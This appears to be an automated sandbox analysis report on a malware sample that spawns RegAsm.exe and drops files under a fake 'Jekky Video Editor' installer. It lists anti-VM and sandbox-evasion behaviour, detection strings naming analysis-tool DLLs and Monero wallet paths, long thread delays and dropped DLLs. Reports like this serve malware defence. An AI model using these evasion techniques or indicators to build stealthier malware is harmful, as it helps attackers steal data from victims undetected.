Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 43.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.dFpuQ1Q9a79sUJWPwukBnd_d.exe.3b65570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.dFpuQ1Q9a79sUJWPwukBnd_d.exe.3b65570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002B.00000002.2247859722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1710440132.0000000003B65000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1200, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dFpuQ1Q9a79sUJWPwukBnd_d.exe PID: 576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jAdtQht6EyohpXB8jxj0sYtp.exe PID: 2056, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: EZWvE2OrmenaDZlccT1Fi95O.exe PID: 1516, type: MEMORYSTR

Found evasive API chain (may stop execution after checking locale)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\svchost.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2153566769.0000027C66D64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2153566769.0000027C66D64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: dFpuQ1Q9a79sUJWPwukBnd_d.exe, 0000000B.00000002.1710440132.0000000003B65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL15:03:0315:03:0315:03:0315:03:0315:03:0315:03:03DELAYS.TMP%S%SNTDLL.DLL

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 1AE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 34B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 54B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Memory allocated: 2990000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Memory allocated: 2B60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Memory allocated: 4B60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Memory allocated: F40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Memory allocated: 2BC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Memory allocated: 4BC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Memory allocated: 2D30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Memory allocated: 3010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Memory allocated: 2D30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Memory allocated: 2D10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Memory allocated: 2FA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Memory allocated: 2DA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Memory allocated: 11D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Memory allocated: 2D00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Memory allocated: 4D00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Memory allocated: 27C64F40000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Memory allocated: 27C7EA00000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Memory allocated: A80000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Memory allocated: 2680000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Memory allocated: 4680000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2CC0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2ED0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 4ED0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 1440000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2FC0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2D30000 memory reserve \| memory write watch

Source: C:\Windows\System32\svchost.exe

File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 545
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 878

Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Jekky Video Editor\libssl-1_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Jekky Video Editor\is-ES64L.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-6NF9Q.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Jekky Video Editor\is-TEF7I.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Jekky Video Editor\libeay32.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\lnfsda[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Jekky Video Editor\is-B77BO.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vlsadg[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Jekky Video Editor\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Jekky Video Editor\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-6NF9Q.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\userAKFHCAKJDB.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Jekky Video Editor\is-JS844.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\lnfsda[1].exe	Jump to dropped file
